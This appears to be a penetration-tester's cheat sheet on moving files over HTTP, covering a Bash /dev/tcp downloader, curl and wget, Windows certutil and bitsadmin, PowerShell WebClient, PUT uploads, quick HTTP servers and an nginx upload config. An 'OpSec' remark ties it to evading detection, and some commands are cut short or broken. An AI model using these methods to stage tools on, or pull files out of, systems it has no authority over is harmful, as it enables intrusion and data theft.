HTTP File Transfer

05.06.2024 ยท dadevel

File Transfer over the HTTP protocol.

Download via GET

Pure Bash (source).

function curl() {
  exec 3<> "/dev/tcp/$1/$2"
  echo -en "GET $3 HTTP/1.0\r\nHost: $1\r\n\r\n" >&3
    while read line; do
      [[ "$line" == $'\r' ]] && break
    done && cat
  ) <&3
  exec 3>&-
curl 8080 /input.bin > ./output.bin

Common Linux utilities.

curl -o ./output.bin
wget -O ./output.txt

curl.exe is preinstalled since Windows 10.

Windows builtins.

certutil.exe -urlcache -f .\output.bin
bitsadmin.exe /transfer myjob %cd%\output.bin

OpSec: Mature organizations probably have detection rules for the Windows builtins.

PowerShell variants.

iwr -useb -outf .\output.bin
Invoke-WebRequest -Uri -UseBasicParsing -OutFile .\output.bin
irm > ./output.txt
Invoke-RestMethod > ./output.txt
(New-Object System.Net.WebClient).DownloadFile('',"$(pwd)\output.bin")  # blocked in clm

Configure PowerShell WebClient to use a HTTP proxy.

$c = New-Object System.Net.WebClient
$c.proxy = [Net.WebRequest]::GetSystemWebProxy()
$c.proxy.credentials = [Net.CredentialCache]::DefaultCredentials

Upload via PUT

Linux and Windows utility.

curl -T ./input.bin
wget --method PUT --body-file ./input.bin


(New-Object System.Net.WebClient).UploadFile('', "$(pwd)\input.bin")  # blocked in clm



python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080


php -S


ruby -run -e httpd . -p 8080

Linux Busybox.

busybox httpd -f -p 8080

Nginx with authentication and file upload.


http {
  server {
    server_name localhost;
    listen 80 default_server;
    listen [::]:80 default_server;

    auth_basic "Restricted";
    auth_basic_user_file ./htpasswd;

    location / {
      root ./srv;
      dav_methods PUT;
      dav_access user:rw group:rw all:r;
      create_full_put_path on;
      autoindex on;
      client_max_body_size 128m;

  client_body_temp_path ./tmp;
  access_log /dev/stdout;
  log_not_found off;

  sendfile on;
  tcp_nopush on;
  tcp_nodelay on;
  types_hash_max_size 4096;

  server_tokens off;

  charset utf-8;
  default_type application/octet-stream;
  types {
    text/css css;
    text/html html;
    text/javascript js;

events {
  multi_accept on;
  worker_connections 1024;

pid /dev/shm/;
worker_processes auto;
worker_rlimit_nofile 2048;
daemon off;
pcre_jit on;
error_log /dev/stderr;
mkdir ./srv ./tmp
echo "admin:$(echo 'passw0rd' | openssl passwd -stdin -apr1)" > ./htpasswd
nginx -p . -c ./nginx.conf

Untested tools:

  • skyhook, HTTP file server with builtin transport obfuscation
  • updog, HTTP file server with up- and download